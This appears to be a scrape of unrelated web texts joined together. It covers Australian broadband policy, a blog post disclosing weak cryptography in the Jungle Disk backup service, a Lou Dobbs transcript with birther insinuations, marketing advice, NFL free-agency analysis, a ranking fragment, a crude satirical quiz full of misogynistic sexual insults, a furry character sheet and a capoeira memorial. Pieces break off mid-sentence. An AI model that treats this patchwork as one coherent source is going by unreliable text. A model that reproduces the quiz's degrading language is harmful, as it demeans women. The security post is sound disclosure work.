The Coalition has pledged to provide 91 per cent of homes with download speeds of 50Mbps broadband speeds by 2019 through a mix of fibre-optic cabling and the existing copper and cable networks.
But Mr Dalby slammed the Coalition's Strategic Review that recommended this approach, saying the report failed to address 'National Objectives' or the importance of upload speeds which are needed by businesses to connect with customers who are increasingly shifting their spend for goods and services to online channels.
"Nowhere in the strategic review is there any consideration of upload performance to the small business sector of the economy, or at all. Any business utilising broadband will confirm that upload performance is'mission critical' and yet little attention has been given to this issue, which is strategically important to the Australian digital economy," Mr Dalby said.
"Arguments over the comparative download speeds of competing technologies has absolutely failed the Australian community. Without a supply-side review, focused on service creation and delivery, Australian consumers will have little reason to acquire high performance services. Given that the Australian political leadership fails to promote this fundamental issue, it is likely that a residentially focused, download-centric strategy for trivial entertainment consumption will be the best that the Australian digital economy can hope for."
My Dalby also criticised the NBN Co for its insistence on setting a fixed number of retail services to sell to broadband wholesalers like iiNet. He said NBN Co's insistence to control the design of retail internet services meant providers were unable to respond to customer demands for evolving internet services.
Setting the agenda for Australia's $150BN agribusiness sector The program for Australia's premier agribusiness conference - The Global Food Forum - is set. Hear from more than 30 industry leaders including PepsiCo's CEO, Danny Celoni, Jayne Hrdlicka, CEO of A2 Milk Company, Barry Irvin, Executive Chairman, Bega Cheese and Costco's Managing Director, Patrick Noone. Sheraton Grand Sydney Hyde Park Book NowInsecurity in the Jungle (disk)
A few weeks ago, in the wake of stories about Dropbox's poor security, a user of my Tarsnap online backup service mentioned that he had heard Jungle Disk recommended as a secure alternative. This surprised me, since I remembered from the early days on the Amazon Web Services developers forums that JungleDave — as the author called himself — was always far more concerned with ease of use than with security. Had things improved? I decided to investigate, and I wasn't impressed with what I found.
Unlike most online backup / storage companies, Jungle Disk has released source code, here and here. They did this because in the early days of Jungle Disk, people wanted some assurance that they could get their data back if Jungle Disk went out of business; since the Jungle Disk client stores data directly to Amazon S3 and Rackspace Cloud Files, it is also possible to read files directly from those services. (This is also a feature which Tarsnap users frequently request, but the design of Tarsnap — including amortizing S3 PUT costs across blocks uploaded from multiple users — makes it impossible to provide such a mechanism for Tarsnap.)
Now, this code is not the code used in the actual Jungle Disk client — like most other online backup services all you get is a binary, and you have to trust that it isn't doing anything wrong (either due to intentional mis-features or accidental bugs) — but the fact that the published source code can interoperate with the Jungle Disk client code does at least provide us with some information about what Jungle Disk does cryptographically.
There is one thing I like about Jungle Disk's cryptography: They use AES-256 in CTR mode. As I've mentioned here before, I like CTR mode as a building block because it provides cryptographic indistinguishability against chosen-plaintext attacks; because it avoids passing data to an AES core which could leak information via side channel attacks; and because it avoids the need for complicated (and very frequently buggy) block padding.
Unfortunately Jungle Disk missed one absolutely essential requirement in using CTR mode: They didn't include a Message Authentication Code. CTR mode has a property which cryptographers call "malleability", meaning that an attacker can make a change in the ciphertext and cause a predictable change to be made in the plaintext. In a sense this is like writing on a sheet of paper in a darkened room — even without seeing what was already on the page, you can still add more ink.
Data integrity matters. If the people running the underlying storage service (Amazon S3 or Rackspace Cloud Files) know the contents of a file stored via Jungle Disk, they could transform it into anything they want — planting files which are dangerous (e.g., viruses) or even illegal (e.g., child pornography). In the very unlikely case that they don't know the contents of any files you have stored, they could still blindly mangle files and Jungle Disk wouldn't notice that they had been corrupted. Maybe you trust Amazon and Rackspace to not do this; but the whole point of cryptography is that you shouldn't need to trust the storage service — and as was demonstrated a few years ago, sometimes data corruption occurs due to hardware failures.
So much for data integrity. What about the other side of the security coin — privacy? There too Jungle Disk has issues. Because of the lack of message authentication codes on files, Jungle Disk needs some other way to recognize if you have entered the correct password; for all that they don't defend against server-side corruption, they would have a mob of pitchfork-wielding customers at their offices if entering the wrong password resulted in files being mangled. To solve this problem, each file has a "salted key hash" sent along with it. This value consists of two parts: First, a 4-byte salt; and second, the 16-byte value MD5(salt || password).
This is bad. Really really bad. MD5 was designed to be a function which can be computed quickly and cheaply. If you give someone the values salt and MD5(salt || password), all they need to do to check if guessed-password is your password is to compute MD5(salt || guessed-password) — a single MD5 operation which is cheap and fast enough that attackers can easily test trillions of potential passwords.
There is an area of cryptography known as "password-based key derivation functions" which covers exactly this problem — how to convert a password into a key in a way which is as expensive as possible for an attacker to perform a "brute-force" attack (i.e., trying passwords until they get a match) against. The current state of the art is the scrypt function, which I developed in 2009 because I wanted to ensure that Tarsnap's passphrase-encrypted key files were as secure as possible. The scrypt key derivation function is over one hundred billion times more expensive to crack than MD5. Now, I'll give Jungle Disk a pass on not using scrypt — after all, their "salted key hash" was around before I developed scrypt — but they should still have used the standard PBKDF2 key derivation function (or the non-standard but slightly stronger bcrypt), which would still have been over a million times stronger than MD5.
What does this mean for security? Well, it depends on how strong your password is and what resources an attacker is willing to throw at cracking it. My laptop — a mid-range Dell from a couple years ago — can test slightly over 10 million passwords per second using its CPU and standard MD5 routines. Using GPUs and optimized MD5-cracking routines, Mark Bevand has reached 33.1 billion passwords per second with about $3000 of hardware. Attackers who can fabricate application-specific integrated circuits — a group which includes most Three Letter Agencies and many large companies — can do even better: on modern process technologies, roughly 5 billion passwords per second can be tested per dollar of silicon.
The following table shows the estimated time to crack various strengths of passwords on three categories of hardware — what most people have available and idle 99% of the time (a $1k laptop), what most interested amateur codebreakers could put together ($10k of GPUs), and what a government or large company could be expected to construct for political or industrial espionage purposes ($1M of ASICs):
Password strength $1k laptop $10k of GPUs $1M of ASICs 6 lower-case letters (e.g., "sfgroy") 15 seconds < 1 second < 1 second 8 lower-case letters (e.g., "ksuvnwyf") 3 hours 1 second < 1 second 8 ASCII characters (e.g., "6,uh3y[a") 10 years 10 hours 1 second 10 ASCII characters (e.g., "H.*W8Jz/r3") 95000 years 95 years 2 hours 34-character English text (e.g., "You will never guess this password") 2 years 2 hours < 1 second
You might like to look up the password category most similar to your passwords to see how long it would take for them to be cracked; but for reference, a recent study by Microsoft found that most passwords in use online fall somewhere between the 6-letter category and the 8-ASCII-character category in strength.
Now, maybe you don't have any data stored which Joe Cracker would be willing to spend 10 hours decrypting. Maybe you trust Amazon and Rackspace's internal procedures and security measures to ensure that nobody — either breaking in from outside, or working for those companies — will have access to your "encrypted" data. Depending on who you are and what data you have stored (your credit card numbers? bank statements? how about last year's income tax return, complete with your national tax ID number?) you might be justified in such trust. But I would say that this is profoundly missing the point: With good cryptography, you wouldn't need to trust them.
The bottom line: If you use Jungle Disk, Amazon or Rackspace and their employees...
... could mangle your data without Jungle Disk noticing,
... could probably replace your data with their choice of "evil bits",
... and unless you have a very unusually strong password, could read all of your files.
Finally, a personal note: I didn't want to write this blog post. To be quite frank, it's embarrassing to post something like this here only a few months after I fixed a critical security bug in my own backup service. However, I believe strongly in the principles of engineering ethics — foremost among them, the fact that having seen a danger, we have a duty to the public to report it. In the case of civil engineering, this means structures which could collapse and cause injury or death; but I see no reason why software engineers who discover security vulnerabilities should not be held to the same standard.
Based on this principle, upon discovering these issues I wrote to Allan Metts, the Director of Software Development at Rackspace responsible for Jungle Disk (which Rackspace acquired in 2008). His reponse was that "security is not compromised" — a position which I absolutely disagree with — and that these issues will be addressed in the "next major release of our technology, which is currently under development". This is simply not good enough; serious security vulnerabilities such as these should be fixed immediately, not next year.
While I'm willing to work with companies and give them time to fix issues if I think they're making a good faith effort (as I did a few years ago when I discovered a weakness in Amazon's API request signing method) Jungle Disk's response clearly does not fall into this category. As such, the only way I can comply with my ethical obligations is to raise the issue publicly and warn people to avoid using such an insecure product.
And if Jungle Disk's customers complain and the public pressure results in these vulnerabilities being fixed sooner, all the better.
DisqusDOBBS: Listen to what he said.
OBAMA [audio clip]: Right now, doctors a lot of times are forced to make decisions based on the fee payment schedule that's out there. So if they're looking and you come in and you've got a bad sore throat or your child has a bad sore throat or has repeated sore throats, the doctor may look at the reimbursement system and say to himself, "You know what? I make a lot more money if I take this kid's tonsils out."
DOBBS: Where's the American Medical Association? Why isn't every doctor in this country outraged at such a statement by the president of the United States? You know, I just can't figure out what's going on.
You know, these -- he's speaking to an audience that -- the only part of which that would respond to that kind of nonsense is the limp-minded, lily-livered lefties -- who, by the way, are also attacking me in a concerted form, as I actually raise a question of this great president.
I mean, think of this. I actually had the temerity to inquire as to where the birth certificate was and why the president of the United States would not turn over that birth certificate to the national media and end the noise. And I also said four times in one show, "I believe the president is a citizen of the United States." I don't buy into the Kenyan secret agent stuff, as Jim Geraghty of National Review put it. I mean, I don't buy into that.
But, I mean, the nat-- the left wing comes after me like I had said -- as I said earlier -- like I had said we should surrender to the communist Chinese, put up a white flag. And then I thought, "No, they probably would have less trouble surrendering to the Chinese than they do with me suggesting that the Great One might turn over a copy of his birth certificate so that the American people could move on past this nonsense."
My gosh.We’re facing an industry shift, no longer is publishing alone good enough to drive more traffic to your site and leads into your funnel. But what comes next in the content marketing lifecycle?
Content marketing has been lingering in the awkward adolescent stage a little too long, it’s been unsure of how to mature into the next phase of its evolving life. Marketers have had ideas, both good and bad, on how to make it better, but has it worked? Maybe? Sometimes? Sorta?
It’s time content marketing grows up. Move out of its parents’ basement, stop spending their money on crazy experimental theories that may, or may not, have been a good idea at the time (go ahead, content marketing, try to explain how that last social campaign helped your branding and ROI). It’s time content marketing ends the pattern of immaturity, loses the short-sided and (sometimes) lazy attitude in its “strategy.” Content marketing needs to stop talking so much about itself and think about what the customers need, and what they want to hear.
It’s time content marketing stops publishing for the sake of publishing – stop valuing quantity over quality.
Sure, quantity is important – companies who publish 16 or more blog posts each month see around 4.5x more leads than those that publish between 0-4 monthly posts, according to a study from Hubspot. But as we mature in the field of content marketing, more just isn’t enough.
Why More Won’t Win the Battle Alone
Content marketing is the only marketing that matters. Your department is investing more time and money into content than ever before – you’ve found robots with algorithms to write your posts, tools to optimize them and technology with viral mics to amplify them. The more you publish, the more traffic you’ll see, right? The theory has held so far, though you can’t really explain why.
But something’s wrong! Chugging out post after mediocre post isn’t delivering the same high traffic results anymore. More is no longer enough.
From its highest to lowest points last year, the output of content per brand increased by more than 35 percent per channel. Nearly every brand in existence has bought into content marketing. Around 78 percent of the world’s CMOs recognized the tactic as the way of the future. But while output spiked in 2015, consumer engagement took a sharp downturn, dropping by 17 percent according to TrackMaven, a marketing analytics software.
Content absorption is a finite resource. There’s a limit to how much can be consumed, liked, shared, pinned, retweeted, posted, etc., and brands are in competition against each other for their share of the eyes (and buys). The fight to be heard in the increasingly cluttered landscape is merciless.
No longer can you solve your marketing woes through buying more advertising space – the space is just too crowded. A mature b2b content marketing strategy uses preparation, planning and promotion. It’s authentic and simple, though not simplistic. It listens to customer needs and solves their challenges as they face them. It predicts their questions, and proactively seeks to share the knowledge without the direct aim of benefitting the company over the consumer. If content solves consumer problems, they’ll talk about it, telling others about your product or service and bringing more traffic (read: more leads) to you.
Mature Content Isn’t Short-Sided (or shorthanded)
Creating ridiculously good content isn’t enough alone, either. If you put all of your energy into producing the highest quality content, but only publish it once in a blue moon, no one will find it. You can’t bank on content that succeeds only in a bubble. Google looks for, and actively rewards, sites with relevant, useful and consistent content.
Mid- to large-sized companies that publish 11+ blogs a month see almost twice as much traffic to their sites in comparison to their counterparts publishing one or fewer pieces of content each month, the Hubspot researchers found. And, posting new content daily leads to a 5x jump in site traffic over posting just once a week.
Compiling a rich catalogue of content helps your SEO rankings because there’s more for a search engine to look through and it gives your visitors more to click through. B2B companies that have an index of more than 401 posts generate almost three times more leads as a b2b content marketing strategy that has under 200 total posts.
Moral of the story: Blog early, blog often – as long as you can do it well.
Doing Content Better
High quality content is a must to build a strong, trustworthy rap online. And, keeping a hefty stash of posts uploaded to your site keeps visitors happy and coming back for more.
As a b2b content marketing strategy matures, it should focus on becoming more strategic – more real. It needs to look at planning, processes, strategy, frameworks, creativity, relatability, usefulness and metrics.
Posts that dig into a single topic significantly outperform their vague counterparts, according to an SEO analysis report from Backlinko. The study suggests pushing out focused content, to a focused audience, helps SEO rankings and boosts traffic.
A b2b content marketing strategy is more than blogs, though. Visual content boosts site viewership by about 94 percent. Videos on a landing page bumps conversions by around of 86 percent. And infographics are liked and shared on social media up to 4x more often than other content.
The grown-up b2b content marketing strategy is holistic. It’s strategic, with laser focus on relevancy and consistency. No longer can it choose either quantity or quality. It must see both as the tactic to succeed. Content marketing is maturing – are you ready?The beginning of the new league year - March 11 - is fast approaching. That day marks the start of the free agency signing period. The Rams have been quite active in signing free agents under the Fisher/Snead regime. With fewer glaring needs/holes on the roster than in prior years, will the Rams still be looking to sign a player(s) through free agency this year? Or have they reached a point where it's possible to fill their remaining roster needs entirely in the NFL draft?
Rams' Recent Free Agent History
The Rams have achieved moderate success and mixed results with their free agent signings under Jeff Fisher and Les Snead. Finding quality free agents can be just as big a crap shoot as the NFL draft, only far more expensive. How have the Rams' signings graded out in the past two years?
The accompanying chart presents a scale for grading the Rams' free agent signings:
A+ All Pro A Excellent A- Very Good B+ Above Average B Average B- Below Average C+ Serviceable C Minimal Impact C- Backup F Poor
Assigned grades are determined using the following criteria: production/performance, games played and started, and how much bang the Rams have received for their buck.
Overall Grade - B
The seven players listed are the Rams' most significant - and expensive - free agent acquisitions in the past two years. I believe the Rams have received the most value from two players - Jo-Lonn Dunbar and William Hayes - who were the cheapest acquisitions on the list.
What impact do the seven players have on the Rams' salary cap for 2014? Their combined salary cap hits represent approximately 1/3 of the projected 2014 NFL salary cap.
The accompanying chart lists the 2014 salary cap hits for the seven free agent acquisitions:
Player 2014 Cap Hit
Cortland Finnegan 10,000,000 Jake Long 9,250,000 Jared Cook 7,000,000 Scott Wells 6,500,000 Kendall Langford 6,000,000 William Hayes 3,845,000 Jo-Lonn Dunbar Free Agent 1.0 mil. in 2013 Total Cap Hits 42,595,000
Jo-Lonn Dunbar will be eligible for free agency again in March, having just completed a two-year contract with the Rams. Both Scott Wells and Cortland Finnegan could become salary cap casualties, either released or subject to substantial pay decreases. The remaining four players' cap hits will likely be unaltered in 2014. Acquiring free agents can be an expensive proposition, one with no guarantee of a significant return on investment.
2014 Free Agency
Rams' Current Roster
There are 67 players on the Rams' current roster/depth chart:
The Salary Cap
At present, the Rams are approximately $4.5 million - including carry forwards - under the projected 2014 NFL salary cap ($130 million). The initial estimate for the 2014 NFL salary cap was an increase of $3.3 million to $126.3 million. As of this morning, that figure has risen to $130 million, according to Adam Schefter:
NFL's salary cap now projected to rise to about $130 million, up 5 percent from $123 million last year, per league sources. More $ for all. — Adam Schefter (@AdamSchefter) February 20, 2014
The additional increase will likely give the Rams more wiggle room. But it's all relative. Each of the 32 teams receives the same increase. More dollars to spend, means greater demand for players, which in turn means higher-value free agent contracts this year.
The Rams have additional financial commitments during the year to consider, as noted in an earlier off season primer article:
"The Rams WILL have to create $10-$11 million in salary cap space - irrespective of free agency signings/re-signings - at some point before the regular season begins. This amount covers the net cost of signing the incoming rookie class, creates an adequate reserve for contingencies during the regular season, pays the practice squad, and provides a cushion for salary cap adjustments - earned incentives, workout bonuses, escalators, etc. - made by the league."
By any measure, the Rams are currently in a relatively tight cap space situation. As noted last Thursday, the Rams - through roster cuts and restructures - can create $15-$20 million in salary cap space virtually overnight, if they so desired (link). It would still leave the Rams in a position where they could only sign 4-5 of their own smaller-contract free agents, plus 1 - possibly 2 - more expensive free agents.
Rams' Free Agents
The accompanying chart lists the 14 Rams players eligible for free agency on March 11:
Player Position FA Type Rodger Saffold OL UFA Jo-Lonn Dunbar OLB UFA Chris Williams OL UFA Darian Stewart S UFA Shelley Smith OG UFA Kellen Clemens QB UFA Matt Giordano S UFA Will Witherspoon OLB UFA Brady Quinn QB UFA Mike McNeill TE RFA Austin Davis QB RFA Tim Barnes C ERFA Quinton Pointer DB ERFA Justin Veltung WR ERFA
The Rams could re-sign any of the bottom dozen on the list for six-figure amounts. The most important free agent is Rodger Saffold, who will command a substantial raise over his expiring rookie contract. Saffold likely holds the key to how the Rams' off season will unfold. The Rams could also be interested in re-signing Jo-Lonn Dunbar, especially given his history with DC Gregg Williams. Dunbar would likely command a low seven-figure salary. Losing all four interior offensive linemen on the list could pose serious problems for the Rams in the coming season, especially if Scott Wells and Harvey Dahl become cap casualties.
Free Agency Preview
Most teams - the Rams included - normally use free agency to address specific team needs/holes in the roster. Heading into March, the Rams' biggest needs will likely be the defensive secondary, and the interior offensive line.
Walter Football provides a ranking of all eligible free agents, and publishes all transactions related to free agency (link). Rotoworld also generates an accurate free agent list, with a loose ranking of all eligible free agents (link). These lists are updated on a daily basis.
How will the Rams approach free agency this year?
CBS Sports' John Breech gave his take on what the Rams' game plan will be for free agency:
"The Rams free-agency game plan will most likely involve setting up their draft game plan. St. Louis is snuggled up right up near the projected salary cap and will probably have to drop a few veterans to give themselves some breathing room. That could be bad news for offensive linemen Harvey Dahl and Scott Wells. Cortland Finnegan and his $10 million 2014 cap hit could also be out. If the Rams decide to dump those three, don't be surprised to see the team make a small splash and go after one or two players who could possibly start in the secondary or at linebacker."
ESPN's Nick Wagoner suggests the key for the Rams should be the draft, not free agency (link):
"With so many high-priced players already on the roster, the margin for error in free agency and the draft is minuscule in the league’s best division. If the Rams want to keep up, the time has come to stop spending big money on outside help and start investing in themselves."
Last year, Kevin Demoff participated in the MIT Sloan Sports Analytic's Conference. He shared his thoughts about spending in free agency:
"If you have $8 million to spend in free agency, you might be better off spending $7 million on one guy and $1 million on the other than buying two players at $4 million."
Demoff's words certainly rang true last year, as the Rams added big-money free agents Jake Long and Jared Cook, and limited the remainder of their spending to mostly lower-priced players.
This years free agent market is likely to be very deep at the safety and cornerback positions. Many quality, younger options exist across the spectrum of price-level tiers. Fewer quality, younger options exist at the offensive line positions, although there are a number of them who may be of interest to the Rams.
The accompanying chart lists 20 players who are eligible for free agency, and are intriguing options for the Rams. The list is comprised of 11 defensive backs, 6 offensive linemen, 2 wide receivers, and 1 defensive tackle. All except Anquan Boldin are in their twenties. The players on the list will command a wide range of salaries, from $2 million to $8 million plus per season:
Last week, I took an in-depth look at some of the players on the list (link). I believe the Rams will target a veteran safety in free agency this year. The safety position is the weakest unit on the team. Although the Rams are likely to address the position in the draft, it would be prudent for the Rams to add a veteran presence. Two safeties stand out as being affordable, better than average, and having a connection to the Rams organization:
Malcolm Jenkins
From last weeks free agency article:
"Jenkins was selected in the 1st round of the 2009 draft. He's 6'0" - 204, and turns 27 in December. Among this years free agent crop at free safety, he's not as highly touted as Ward, Byrd, or Donte Whitner. Jenkins has never quite lived up to the expectations of a 1st round pick, although he has shown flashes at times. His best seasons were during the tenure of Gregg Williams as DC in New Orleans (2009-2011). Under Williams, Jenkins was a 2nd team All-Pro selection in 2010. Although not a huge difference-maker, he's a solid, above average free safety who might again thrive with Williams at the helm. In 2013, Jenkins accounted for 94 combined tackles, 7 passes defended, and 1 interception."
Louis Delmas
Safety Louis Delmas was released by the Detroit Lions last Thursday, in a salary cap-related move. Delmas' release allows him to sign with any team at any time, for he is no longer under contract. Delmas was selected by the Lions in the 2nd round of the 2009 NFL draft, and has been a quality, consistent starter throughout his time in Detroit. Delmas will be 27 in April.
The biggest question any team will have about Delmas is how he checks out medically. He has battled knee problems on and off over the last three seasons. Although his practice time was limited during the 2013 season, he started all 16 games, intercepting 3 passes and recording a pair of sacks. He was named to the NFL All-Rookie Team in 2009, and was a Pro Bowl alternate in 2010 and 2011. Delmas is known as an aggressive, relentless, hard hitting safety, with ball skills.
Before re-signing (for two years) with Detroit in 2013, the Rams negotiated with Delmas, in an attempt to bring him to St. Louis. Contract talks stalled, as Delmas wanted more than the one year "prove it" deal the Rams were offering at the time. The Rams were concerned about his health-related issues.
Early Predictions
The Rams will re-sign Jo-Lonn Dunbar, Kellen Clemens, Tim Barnes, Mike McNeill, and Chris Williams or Shelley Smith (cheap depth at guard).
The Rams will make every effort to re-sign Rodger Saffold, but only at a reasonable cost. At present, I put the odds of re-signing Saffold at 60/40 against.
Scott Wells will be released. Harvey Dahl and Cortland Finnegan will be subject to either substantial pay reductions, or will be released outright.
If the Rams do venture into the free agent market, expect Malcolm Jenkins and Louis Delmas to be targets. If Rodger Saffold is not re-signed, the Rams may take a look at Jon Asamoah, as a potential replacement at the guard position. Delmas, Jenkins, and Asamoah will likely command contracts averaging $3.25-$4.5 million per season.
Although he will come with a hefty price tag ($9 million plus per season), the Rams will at least inquire about CB Alterraun Verner, especially if Cortland Finnegan is released. Jeff Fisher drafted him, and he became a 2nd team All-Pro last season under Gregg Williams (who was a senior defensive assistant with the Titans ). Williams mentioned Verner in his introductory Rams press conference last week. A signing of this nature would test the Rams' cap resources to the max.
With fewer roster needs, look for the Rams to be much quieter in the free agent market than in previous years. Certainly quieter than the buzz that never goes away regarding the Rams' commitment to Sam Bradford:
Rams looking forward to the day when team's continued commitment to Sam Bradford isn't perceived as national news @101ESPNFastLane — Mike Sando, ESPN.com (@SandoESPN) February 18, 2014
Off Season Primer Series
Part 1 - Salary Capping The St. Louis Rams' Off Season (link)
Part 2 - The Offensive Line (link)
Part 3 - Younger In 2014? (link)
Part 4 - 4 By March 11 (link)
Part 5 - Anatomy Of |
% 9 Exxon Mobil Corporation 7.04% 10 IBM 6.87% 11 Intel 6.60% 12 BMW Group 5.76% 13 Shell Oil Company 5.24% 14 EPA 5.21% 15 General Motors 5.00% 16 U.S. Air Force 4.71% 17 Central Intelligence Agency 4.60% 18 Sony 4.56% 19 Procter & Gamble 4.41% 20 Johnson & Johnson 4.40% 21 Northrop Grumman 4.39% 22 Siemens 4.26% 23 Ford Motor Company 4.22% 24 FBI 4.13% 25 Chevron Corporation 3.93% 26 Nike 3.80% 27 Amazon 3.76% 28 Facebook 3.75% 29 Raytheon Company 3.74% 30 D.O.D. 3.72% 31 Caterpillar Inc. 3.63% 32 DOW Chemical 3.57% 33 U.S. Navy 3.32% 34 Texas Instruments 3.23% 35 BP 3.22% 36 Medtronic 3.16% 37 3M 3.13% 38 Peace Corps 2.98% 39 John Deere 2.96% 40 Rolls-Royce North America 2.76% 41 Electronic Arts 2.65% 42 DuPont 2.54% 43 Turner Construction 2.51% 44 Blizzard Entertainment 2.48% 45 National Security Agency (NSA) 2.46% 46 Honda Companies 2.40% 47 Cisco Systems 2.32% 48 Volkswagen 2.28% 49 Schlumberger 2.24% 50 Mayo Clinic 2.16% 51 CH2M HILL 2.15% 52 U.S. Army 2.14% 53 UTC 2.13% 54 Honeywell 2.10% 55 National Institutes of Health 2.09% 56 Nissan 2.07% 57 Genentech 2.07% 58 Pfizer 2.04% 59 Dell 2.04% 60 Autodesk 1.96% 61 Daimler/Mercedes-Benz 1.95% 62 Centers for Disease Control 1.88% 63 Goldman Sachs 1.86% 64 Bose 1.84% 65 J.P. Morgan 1.84% 66 Chesapeake Energy 1.84% 67 General Dynamics 1.84% 68 Chrysler 1.81% 69 The Coca-Cola Co. 1.78% 70 Delta Air Lines 1.77% 71 U.S. Department of State 1.77% 72 ConocoPhillips 1.76% 73 L'Oréal 1.76% 74 Merck & Co. 1.74% 75 Toyota Motor Sales, U.S.A. 1.71% 76 U.S. Nuclear Regulatory Commission 1.67% 77 NASCAR 1.65% 78 Marathon Oil 1.60% 79 HP 1.58% 80 Qualcomm 1.56% 81 Accenture 1.51% 82 Valero Energy 1.50% 83 IKEA 1.45% 84 Waste Management 1.44% 85 Halliburton 1.43% 86 BAE Systems 1.41% 87 Life Technologies 1.40% 88 Ecolab 1.34% 89 Biogen Idec 1.34% 90 PepsiCo 1.34% 91 Bombardier 1.30% 92 Nestlé USA 1.28% 93 adidas 1.27% 94 BASF 1.26% 95 Anheuser-Busch InBev 1.20% 96 AT&T 1.17% 97 McKinsey & Company 1.14% 98 The Hershey Company 1.13% 99 The Boston Consulting Group 1.11% 100
Source: Universum
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Follow me on Twitter, Forbes, and Google+.1. Ladies, know your enemy! You're at a bar and an awesome alpha approaches you. Although your hamster immediately tells you to jump his dick, you know that all human relationships are adversarial and you want to make it harder for him by resisting his irresistible seduction techniques. Which of the following is an example of "negging"? A. Hey there, m'lady, might I interest you in my genitals?
B. Shit, you're ugly. Wanna blow me?
C. Wow, you must have a hell of a lot of confidence walking around with an ass as fat as yours. Wanna blow me?
D. I wouldn't jizz on you if you were on fire. Begone, foul she-beast!
2. You're at the same bar and after unsuccessfully spermjacking the alpha from question 1, you encounter what looks like a wealthy beta. How do you proceed? A. Spermjack him
B. Spermjack him
C. Spermjack him
D. All of the above and also spermjack him (PS: the answer is spermjack him)
3. Imagine you're in a steady relationship with a rich beta, while regularly having one-night-stands with totally ripped alphas who play by nobody's rules but their own. What do they call this phenomenon? A. Hump a chump
B. Slump and pump
C. Huff and puff
D. I AM A GIRL AND NOT SUPPOSED TO GRASP THESE MANLY CONCEPTS!
4. Which of the following are the core tenets of feminism? Discuss A. Men suck and need to die
B. Wimminz are infallible
C. It is every wimmin's obligation to be a slutty whore-bitch
D. Gender roles are inherently blablabla who gives a shit it's about dominating men
E. Its ultimate goal is the destruction of society
5. It's the _______ fault that poor white men have been oppressed since the dawn of time.
6. Match the following A. Alphas A. Select a Match fuck pay my rent post on r/theredpill B. Betas B. Select a Match fuck pay my rent post on r/theredpill C. Omegas C. Select a Match fuck pay my rent post on r/theredpill
7. If A then B We observe A, therefor A. A
B. B
C. Oh my god, logic! IT BURNS!
D. All women are whores
8. Speaking of all women being whores, why are all women whores? A. Evolution. Back in the good old days of living in caves, whores reproduced more or something.
B. They can't help themselves. Alphas are just way too attractive and they all lack willpower.
C. Because reasons.
D. All of the above.Lazzie Reference Sheet
❮❮ Newer Download | Full View Older ❯❯ Submission © 2016 milkgila Main Gallery
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FUK YES DRAWING THIS HAS PROBABLY BEEN THE MOST REWARDING EXPERIENCE YET
*ahem*
well, this is just at first for formality's sake, as well as an opportunity for me to redesign Lazzie a little bit so he looks more PRISTINEEEE
wheeeeee~~~~
DETAILS I WAS TOO LAZY TO PUT IN:
Height: 1.78m
Weight: ~85kg
Alignment: Chaotic Neutral (No he won't be your pillow just like that)
Fluff Level: PRISTINE
-. Dagaz Rune appears on his right pectoralis major when he feels absolutely cornered and threatened
-. Laz' eyes glow blue when feeling playful (most of the time huehue)
-. Laz has the power of blinking (short range, instant teleportation) to supplement for his playful nature
-. No you may not hug him
-. Ok fine just once
edit: fixed a small mistake and changed some of the backgroundHow Capoeira Honors One of Its Own
Photos by Nick Wong
On August 13th, 2015, William Darnell Robinson went for a swim with his brother in a river near the Big Horn trail in Spokane, WA. From the outset, this would seem absolutely safe for Robinson; he was an incredibly fit 31-year-old who was known as one of the best capoeiristas in the local area. A swim in the river was trivial compared to physical feats of which he was capable, but that day the water was especially strong. Both brothers got caught in the current. One made it out. The other didn’t.
What happened to Robinson, who in capoeira circles was affectionately known as “Mugunje”, sent shock throughout the community. Ten days after his passing, over a hundred people showed up to the small studio of his home school, the Seattle Capoeira Center, to take part in a farewell “roda”, otherwise known as the circular formation of players and musicians that surround two capoeiristas as they play their game. Practitioners from different groups and different eras came to pay their respects. Family and friends from outside of the capoeira community made an appearance as well. The ceremony began by opening the floor for anyone to speak words about the fallen member. Stories, both heartfelt and humorous, were passed around as those in attendance smiled in reminiscence, a sentiment soon overtaken by a melancholic reminder that the stories’ protagonist was no longer with them.
William Darnell Robinson a.k.a. "Mugunje" (January 30th, 1984 - August 13th, 2015). Photo by Chad Ramsey
He was described as a “mystic”, someone who had a different understanding of his surroundings, which was a fitting term evidenced in the way he lived his life. People recounted the times he ambled into class dressed in overalls while carrying a bag of mixed nuts, or about the time when in getting lost in the forest, he ate the pine needles off the trees to ward off the hunger pains. In the few times I met him personally, it was apparent that he lived life in a kinder way, and had a relationship with the world that suggested he had come to peace with it. Once the final anecdote was given, those present shared a moment of silence, and the ceremonial roda began. To open, one of the rituals of capoeira to honor its fallen, the “toque de Iuná”, was played.
“The primary thing that we do [when someone passes] is we play a capoeira rhythm called ‘Iuná’ that doesn't have any capoeira play involved, but only the rhythm,” says Syed Taqi, the Contramestre of the center who goes by the title “Contramestre Mangangá”. He hums out the rhythm with his lips. “That kind of symbolizes the berimbau [capoeira instrument] crying for the capoeirista that passed, like the person holds it in, then it just lets it out. Holds it in, and then lets it out.”
The “Iuná” traditionally follows a moment of silence, and symbolizes mourning, not only for its honoree, but for all that has passed away. The ritual is akin to boxing’s “Final Ten Count”—the 10-bell toll done at the first major bout following the passing of a notable figure in the community. For Mugunje, his contribution to the Seattle Capoeira Center was not only notable, but also key to making what the center is today.
Jacquelyn Robinson, the mother of Mugunje, shares some words about her son.
The studio previous was located on the bottom floor of an apartment complex tiled half of concrete, half of wood flooring, not exactly the ideal surface for a capoeira practice. Before that the center held court in other spaces, but found difficulty in establishing itself due to financial limitations. This all changed when the center was able to firmly establish their kids’ program by renting a fully wood-tiled space in a dance studio next door—a cost paid entirely out of Mugunje’s own pocket—and the income generated from the program is a large part as to why the center has the more permanent space it has today. When tracing his influence back even further, Mugunje was the whole reason the Contramestre chose to become involved in the first place.
“Man he's the one that got me to want to teach capoeira,” Mangangá tells me. “He was my first student. He convinced me to do it. He wanted to learn with me so I just started teaching him, and then after that I realized that I loved capoeira more than just a hobby, like I want to do it for the rest of my life. I want to share capoeira with anybody that's ever needed it.”
Over the years, the Seattle Capoeira Angola Palmares group has gone through a number of transformations. They have roots in the oldest capoeira school in Washington State, and have held their own group for nearly eight years. Officially, the group is now recognized as the “Panteras Dos Palmares—Capoeira Angola Palmares”, the addition made when Aaron Dixon, a member of the original Black Panther Party and former captain of the Seattle chapter, endorsed the center to make it the only martial arts academy to be affiliated with the Black Panther Party. This left a responsibility for the center to uplift people of color through their activities, a principle embedded into the Panther’s own operations. Mangangá has since used the art to connect Afro-Brazilian history with black American history, and also as a forum for social liberation, much like both the Panthers and capoeira did in their time. According to Dixon, had the Panthers knew about capoeira in their heyday, the practice would have surely been adopted for its roots in African heritage.
